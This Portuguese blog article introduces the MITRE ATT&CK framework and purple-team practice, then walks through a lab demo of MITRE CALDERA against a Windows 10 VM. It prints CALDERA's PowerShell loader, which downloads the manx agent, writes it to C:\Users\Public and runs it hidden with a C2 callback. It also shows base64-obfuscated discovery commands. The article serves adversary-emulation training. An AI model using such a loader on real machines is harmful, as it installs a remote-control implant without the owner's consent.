Neste artigo, apresento um repositório de dados muito interessante, construído especialmente para consolidar informações que podem ajudar red, blue e purple teams em relação a técnicas de invasão. A intenção deste repositório é servir como um ponto central de dados a serem consumidos por equipes de segurança de empresas que buscam entender os processos e procedimentos que invasores normalmente empregam quando atacando seus alvos.

 

O MITRE ATT&CK Framework

O MITRE ATT&CK Framework é uma referência espetacular quando tratamos de unir técnicas de ataque em uma única visão. O framework, cuja sigla significa Adversarial Tactics, Techniques and Common Knowledge, reúne em uma única matriz: métodos, referências para construção de exploits, bem como metodologias de mitigação.

Você pode não entender exatamente o que um purple team faz. Sem problema. Explicarei isso à medida que vamos navegando pelo framework.

Infelizmente, o servidor TAXII (Trusted Automated eXchange of Intelligence Information) do MITRE estava offline quando da escrita deste artigo (abril de 2020), e isto limitou um pouco a capacidade prática de demonstração que gostaria de lhe mostrar. Este servidor costumava apresentar uma API muito recheada de chamadas, útil especialmente se seu código é escrito em Python.

Logo do MITRE ATT&CK Framework

Guiarei você ao longo das seções do framework para lhe dar um entendimento do propósito e como ele é estruturado. No entanto, como o framework é apenas informativo, seria mais interessante se nós colocássemos a mão na massa, como costumo fazer em meus artigos. Para esta parte, incluí uma demonstração do MITRE CALDERA, uma ferramenta construída a partir do ATT&CK com o intuito de fornecer uma plataforma de exercícios e treinamento.

Vamos lá. Espero que você goste.

 

Primeiro, um pouco de roxo

Você verá mais tarde que o CALDERA possui um ambiente de treinamento, permitindo que red, blue e purple teams joguem com o ATT&CK framework. Como você provavelmente já sabe, red teams são as equipes que se dedicam a quebrar sistemas (como executar testes de penetração ou análise de vulnerabilidade); blue teams são as equipes que tratam da proteção dos sistemas contra essas interrupções (implantação de controles, como firewalls de aplicativos e soluções de monitoramento). Ok, mas e os purple teams? O que eles fazem?

Embora uma resposta hilária possa ser “a simples combinação entre vermelho e azul”, a verdade é que o purple team trabalha mais como uma ponte entre os outros dois. Respeitando as proporções e os diferentes contextos, a existência do purple team seria algo semelhante ao que as práticas de DevOps trouxeram para o ciclo de vida do software, preenchendo uma lacuna existente entre desenvolvedores de software e administradores de sistemas.

Normalmente, depois que red teams realizam seu trabalho, eles geralmente criam relatórios com as evidências de invasão e os encaminham para blue teams. Os blue teams então começam sua corrida para corrigir bugs, configurações erradas e falhas de proteção que foram descobertas. Parece um caminho de mão única, certo? Exatamente! É aí que o purple vem.

O purple team não precisa ser uma equipe ou algum indivíduo específico. Um purple team é mais parecido com uma metodologia, na qual os teams (red e blue) se monitoram e geralmente dão feedback mútuo para encontrar um sistema mais bem protegido. Novamente, mais ou menos como as práticas de DevOps fazem entre programadores e SysOps.

 

O Framework

Existe uma quantidade razoável de técnicas para invadir sistemas. E, dependendo do objetivo, as técnicas precisam se adaptar para serem mais bem-sucedidas. Reconhecimento, exploração de vulnerabilidades e evasão (evasion) são apenas algumas delas.

Se você faz parte ou é responsável por um blue team, além de conhecer cuidadosamente os sistemas que precisa proteger, também é absolutamente importante saber qual abordagem(s) um invasor usaria para entrar e danificar esses sistemas. Se, por outro lado, você faz parte ou é responsável por red team, conhecer maneiras de invadir sistemas é fundamental para o seu trabalho.

O framework permite o compartilhamento da inteligência de ameaças, no sentido de disponibilizar táticas e técnicas disponíveis gratuitamente, já empregadas por atacantes reais.

Muito conhecimento pode ser encontrado amplamente distribuído na Internet, entre livros, fóruns, blogs ou mesmo em sites na deep web. Coletar dados espalhados e consolidá-los de uma maneira simples e eficaz de serem consumidos pode ser complicado para um indivíduo, mesmo para os mais experientes. E é aí que o framework vem para ajudar.

O ATT&CK Framework do MITRE é uma base de conhecimento criada sobre muitas observações feitas pelos engenheiros do MITRE a partir de ataques reais. Por isso, serve como um concentrador de informações para aquisição e mapeamento de conhecimento. Uma empresa ou equipe pode escolher as técnicas mais relevantes para seus negócios e criar modelos de ameaças específicos para seus aplicativos e sistemas.

O framework permite o compartilhamento da inteligência de ameaças, no sentido de disponibilizar táticas e técnicas disponíveis gratuitamente, já empregadas por atacantes reais.

O ATT&CK é apresentado em uma forma de matrizes com categorias relacionadas às fases de um ataque. Essas categorias correspondem às técnicas (o segundo “T” na sigla) que os atacantes empregam para obter sucesso. O primeiro “T” na sigla corresponde a táticas, e significa a razão por trás de uma técnica.

Enquanto o pentesting geralmente é focado em um aplicativo ou sistema, a emulação de adversário é mais ampla e considera todo um cenário ou ambiente.

Existe uma matriz PRE-ATT&CK, que enumera as atividades realizadas para a listagem e reconhecimento de metas. Além disso, existem também matrizes de empresas agrupadas por sistemas operacionais, uma dedicada à computação em nuvem, outra para sistemas operacionais móveis (Android e iOS), uma para cada sistema operacional principal (Linux, macOS e Windows) e finalmente, uma para sistemas de controle industrial (ICS).

As matrizes enterprise do ATT&CK atualmente contêm as seguintes táticas:

  • Acesso inicial;
  • Execução;
  • Persistência;
  • Escalonamento de privilégios;
  • Evasão de defesa;
  • Acesso a credenciais;
  • Discovery;
  • Movimento lateral;
  • Coleta;
  • Comando e controle (também conhecido como C&C, ou C2);
  • Exfiltration;
  • Impacto.

O “A” na sigla ATT&CK significa “Adversarial”. O sentido é reproduzir o que um inimigo (atacante) pode efetivamente fazer contra um sistema em termos de comportamento e evolução técnica. O objetivo é emular um inimigo (adversário) enquanto executa o ataque. “Qual seria o objetivo disso se eu já tivesse meus pentesters?”, alguém poderia perguntar. É importante entender que as abordagens não estão competindo entre si, mas são complementares.

Enquanto o pentesting geralmente é focado em um aplicativo ou sistema, a emulação de adversário é mais ampla e considera todo um cenário ou ambiente. Enquanto o pentesting tenta detectar e explorar vulnerabilidades em uma variedade de computadores ou aplicativos, a emulação de adversário realmente procura entender o quão forte uma empresa (não apenas um sistema) pode ser contra um tipo de inimigo ou uma metodologia de ataque específica. Finalmente, o pentesting geralmente é executado apenas por red teams, com o sentido de detectar controles preventivos. A emulação de adversário, por sua vez, tem mais um conceito de purple team, não apenas procurando prevenção, mas também a capacidade de detectar ataques.

Uma coisa que é natural para a emulação de adversário, e obviamente coberta pelo ATT&CK, são os TTPs (Táticas, Técnicas e Procedimentos). O objetivo aqui não é entrar em detalhes sobre uma exploração específica ou enumeração de alvo, porém ter uma visão mais geral de como o invasor pode ter sucesso nas próximas etapas da invasão.

Certamente, você poderia comparar, de alguma forma, o ATT&CK com a Cyber Kill Chain da Lockheed Martin, apresentada na figura abaixo. Observe como as etapas cobertas pela Kill Chain são definidas de alguma forma no framework. Você pode imaginar algumas correspondências entre as táticas do framework e os tópicos da Kill Chain.

Cyber Kill Chain da Lockheed Martin

Para todas as referências e documentação adicionais sobre o MITRE ATT&CK, você pode verificar a página principal. Vamos vê-lo em ação com demonstração abaixo.

 

Iniciando o Lab

Existem algumas ferramentas valiosas para “brincar” quando falamos em automatizar ataques, verificar resultados e desenhar estratégias de combate. Alguns exemplos são Uber Metta, Infection Monkey e Metasploit (este último sem capacidade de automação incorporada). Neste artigo, abordarei um que foi construído pelo MITRE e cobre muitos pontos do ATT&CK: MITRE CALDERA.

O repositório GitHub do CALDERA pode ser encontrado aqui, e sua documentação pode ser encontrada aqui. É um projeto maduro que visa apresentar uma única interface gráfica do usuário com muitos plugins e agentes complementares, que você pode usar para testar seu ambiente e também treinar suas equipes de segurança.

Observe que o CALDERA requer algumas dependências (além das apresentadas no README do GitHub). Atualmente, ele pode ser instalado no macOS, Debian, Ubuntu, CentOS e Kali. O código é executado no Python, e é aí que as dependências adicionais são instaladas. Você pode achar interessante criar um ambiente virtual para evitar bagunçar sua instalação do Python, ou até mesmo implantar a ferramenta usando um container do Docker.

Preferi baixar e instalar o SANS Slingshot C2 Linux, uma distribuição Linux com alguns utilitários C2 (Command & Control) incorporados. Possui objetivos análogos daqueles apresentados pelo ATT&CK. Como muitas das dependências do CALDERA já estão instaladas no Slingshot (e eu posso usá-lo também como um ambiente de laboratório), o C2 me pareceu uma boa estratégia.

Todo o conteúdo do Slingshot C2 framework é empacotado em uma única máquina virtual e, de acordo com o próprio SANS, a intenção de colocá-los na mesma imagem é aliviar algum trabalho do usuário, uma vez que os frameworks têm “várias dependências” e tudo isso já está feito.

Isso é algo que você deve considerar também. O arquivo de imagem tem quase 15 GB de tamanho e, no meu ambiente de laboratório, a VM ocupa cerca de 35 GB no total. Ele foi disponibilizado em um formato de virtual appliance (OVA), e import levou cerca de 40 minutos! Você pode usar o VMware Workstation, Player ou Fusion, dependendo do sistema operacional do host. Não vou cobrir esta parte, pois é bem básica.

Depois de baixar o CALDERA e instalá-lo de acordo com o sistema operacional (ou o container do Docker), você pode abrir a GUI da ferramenta conectando-se a http://localhost:8888. A figura abaixo mostra a tela inicial. Você pode ver à esquerda a opção de campanhas e à direita as opções de documentação, plug-ins e configuração avançada. As credenciais iniciais são admin/admin.

Tela Inicial do CALDERA

Estas são as opções da ferramenta:

  • Campaigns: é aqui que você inicia seu trabalho. Você tem agentes, adversários e operações.
    • Agents: código de finalidade especial que deve ser instalado nos alvos. Ele cria um canal de comunicação de volta com o servidor CALDERA para executar comandos e explorar outras possibilidades;
    • Adversaries: aqui, você pode criar habilidades ou atividades a serem realizadas pelos agentes instalados. As atividades são divididas em fases abrangentes. Nesta tela, você também tem acesso a perfis internos ou pode criar um novo, combinando habilidades de outros;
    • Operations: é a correspondência entre um agente (ou grupo de agentes) e um adversário. É o ataque efetivo contra os alvos. Não há operações pré-construídas.
  • Plugins: a coleção de código ofensivo que pode ser implantado nos hosts de destino (ou máquinas virtuais).
    • Sandcat e Manx: agentes;
    • Stockpile: coleção de habilidades;
    • Training: à medida que avança nas diversas fases da exploração de um sistema vulnerável, você conquista etapas. Ao concluir todas as etapas propostas, você recebe um “certificado de conquista”;
    • Compass: apresenta a matriz enterprise do ATT&CK (obtida no ATT&CK Navigator) e permite executar algumas ações com ela. Além disso, com base no adversário que você escolher, permite gerar uma nova camada e fazer o download como um arquivo JSON). Você pode personalizar ainda mais essa camada e enviá-la novamente para CALDERA;
    • Acess: concentra-se na execução de atividades de acesso. Você precisa escolher um ou mais agentes, escolher a tática, a técnica e as habilidades que deseja executar no(s) alvo(s);
    • Gameboard: você monitora como seu red team e blue team estão progredindo para alcançar os objetivos individuais.
  • Advanced: você pode definir muitas opções diferentes no servidor.
    • Configuration: aqui você define diretórios, a porta que o servidor usa para escutar e outros parâmetros. Você também pode ativar plugins opcionais, como “Mock”, que podem ser usados ​​para executar simulações sem agentes;
    • Obsfucators: explica os ofuscadores disponíveis para colocar em prática as técnicas de evasão;
    • Contacts: apresenta os diferentes tipos de contatos que os agentes podem usar para manter contato com o CALDERA. Você pode fazer o download de relatórios de conexão individuais em um formato JSON;
    • Planners: é assim que você conduzirá suas atividades. Existe apenas um planner interno (sequential). Segundo ele, as atividades precisam seguir uma ordem seqüencial. Em cada fase, o planejador varre todos os agentes instalados e envia ordens a serem executadas.
    • Sources: você pode visualizar as fontes internas ou criar novas. Elas correspondem a evidências de dados coletados pelos agentes instalados. Cada um tem uma ou mais características e, para cada fonte, você pode ter um conjunto de regras cujo objetivo é garantir que uma característica não possa ser usada.

 

Demo

Vamos começar com o ambiente real. No meu laboratório, tenho uma VM do Windows 10 que usarei como alvo. O primeiro passo é instalar um agente nele. Escolhi o “manx”. Observe que, ao implantar um agente, o CALDERA mostra instruções a serem seguidas, dependendo do sistema operacional de destino. No meu caso, é Windows e eu escolhi o canal de comunicação TCP.

if ($host.Version.Major -ge 3) { 
   $ErrAction= "ignore"
}
Else { 
   $ErrAction= “SilentlyContinue"
}
$server="http://0.0.0.0:8888"
$socket="0.0.0.0:7010"
$contact="tcp"
$url="$server/file/download"
$wc=New-Object System.Net.WebClient
$wc.Headers.add("platform","windows")
$wc.Headers.add("file","manx.go")
$data=$wc.DownloadData($url)
$name=$wc.ResponseHeaders["Content-Disposition"].Substring($wc.ResponseHeaders["Content-Disposition"].IndexOf("filename=")+9).Replace("`"","")
Get-Process | ? {$_.Path -like "C:\Users\Public\$name.exe"} | stop-process -f -ea $ErrAction;rm -force "C:\Users\Public\$name.exe" -ea $ErrAction;([io.file]::WriteAllBytes("C:\Users\Public\$name.exe",$data)) | Out-Null;Start-Process -FilePath C:\Users\Public\$name.exe -ArgumentList "-socket $socket -http $server -contact tcp" -WindowStyle hidden

O arquivo de log do CALDERA mostra uma entrada como essa quando você implanta o agente remoto:

DEBUG (app_svc.py:120 retrieve_compiled_file) manx.go downloaded with hash=be65b61547c74dc1385b38afc3873113 and name=splunkd

A primeira diferença que você perceberá está na seção “Training”. Só porque você instalou um agente em outra máquina, você já tem três etapas. Veja a próxima figura.

Progresso do treinamento à medida que você interage com os agentes

O próximo passo possível é iniciar uma operação. Atualize a janela do navegador e vá para Campaigns->Operations. Como você sabe, instalei o agente “manx”. A menos que você crie um grupo e inclua os destinos nesse grupo específico, eles estarão dentro do grupo “red”.

Siga estes passos:

  1. Clique no botão que diz “View” para alterá-lo para “Add”;
  2. Escreva um nome para a operação;
  3. Na seção “Basic options”, você perceberá que existem outros grupos além de “red”. Eles são criados automaticamente pelo CALDERA e executam apenas tarefas de simulação. Escolha “red”;
  4. No perfil, escolha quem você quiser. Eu escolhi “Nosy neighboor” e deixei as outras opções no padrão;
  5. Se preferir, você pode adicionar stealth à sua operação. Escolhi a “ofuscação em base 64”;
  6. Finalmente, clique em Start.

A imagem acima mostra como ficou minha operação.

Uma Operação

Você pode optar por ver os logs do agente marcando o botão correspondente. Observe a próxima imagem. À medida que o agente progride executando tarefas e fazendo o que o perfil determina, você verá as saídas neste formato. Dependendo da configuração do host, algumas atividades podem obviamente falhar. Observe os controles na parte superior. Você pode pausar, retomar, executar uma etapa de cada vez ou até mesmo concluir/finalizar toda a operação.

Você pode executar a operação imediatamente (padrão) ou optar por agendá-la para uma execução diária. Essa segunda alternativa é interessante para verificar se o blue team está realmente fazendo algo para corrigir a vulnerabilidade ou configuração incorreta no alvo.

Uma Operação em Execução

Se você deixar o botão “Autonomous” ativado, todas as etapas serão executadas automaticamente sem aprovação prévia. Caso contrário, você precisará aprovar manualmente cada um. Dependendo da combinação de opções escolhidas, toda a operação pode demorar um tempo considerável. Uma dessas opções oferece a possibilidade de usar ou não um planner. O único incluído na ferramenta é o planner sequencial. Se você optar por usar esse planner, isso significa que a operação precisa seguir todas as etapas dele, enviando comandos aos agentes de acordo com cada fase do ataque. Isso pode ser demorado.

Após concluir a operação, você pode coletar os resultados clicando no botão “Download Report”. Novamente, um arquivo em JSON será fornecido. No quadro abaixo, você pode ver parte do que recebi da minha operação. O agente descobriu o usuário ativo enquanto estava em execução (minha VM do Windows possui um usuário cujo nome é “super”).

{
  "ability_id": "c0da588f-79f0-4263-8998-7496b1a40596",
  "command": "cG93ZXJzaGVsbCAtRW5jIEpBQmxBRzRBZGdBNkFIVUFjd0JsQUhJQWJnQmhBRzBBWlFBPQ==",
  "delegated": "2020-04-12 16:08:42",
  "run": "2020-04-12 16:09:10",
  "status": 0,
  "platform": "windows",
  "executor": "psh",
  "pid": 0,
  "description": "Find user running agent",
  "name": "Identify active user",
  "attack": {
    "tactic": "discovery",
    "technique_name": "System Owner/User Discovery",
    "technique_id": "T1033"
  },
  "output": "super\r"
}

Observe o campo “command”. Como escolhi “ofuscação em base64”, o comando está “oculto” usando este método de codificação. Você pode simplesmente decodificá-lo com qualquer ferramenta de sua opção e obter o seguinte:

powershell -Enc JABlAG4AdgA6AHUAcwBlAHIAbgBhAG0AZQA=

Fazer outra decodificação com a string acima, você obtém:

$env:username

E este é o fim da nossa demo.

 

Outras maneiras de trabalhar com ATT&CK

Se você visitar a parte “Work with ATT&CK” do site, verá que existem outras maneiras de trabalhar com o framework. Uma delas é através do Python, usando o cli-python-stix2.

A outra opção é através do servidor TAXII do MITRE, que toquei no começo deste artigo. No entanto, quando elaborei este texto, o servidor não estava operacional, sempre retornando um código de erro 406 quando tentamos nos comunicar com ele. Quando retornar, nos dará muitas outras possibilidades de trabalho.

 

Conclusão

O MITRE ATT&CK Framework é um repositório completo e muito útil para táticas e técnicas de ataque. Com sua ajuda, as empresas podem facilmente desenhar estratégias para otimizar o conjunto de habilidades de red, blue e purple teams.

O MITRE CALDERA, seus agentes e operações incrementam todo o cenário, fornecendo recursos bastante úteis para exercitar as táticas e técnicas da ATT&CK.

Até o próximo post! 🙂

Compartilhe:

Maurício Harley

Olá! Meu nome é Maurício Harley. Tenho mais de 20 anos de experiência em Tecnologia da Informação. Durante minha carreira, trabalhei em setores diversos, como suporte a usuário final, manutenção de hardware, instalação e suporte a redes de computadores, programação, projetos avançados em Data Center, Cloud Computing, Cyber Security e Redes, incluindo Service Providers.

0 comentário

Deixe um comentário

Avatar placeholder

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *

Translate

You cannot copy content of this page.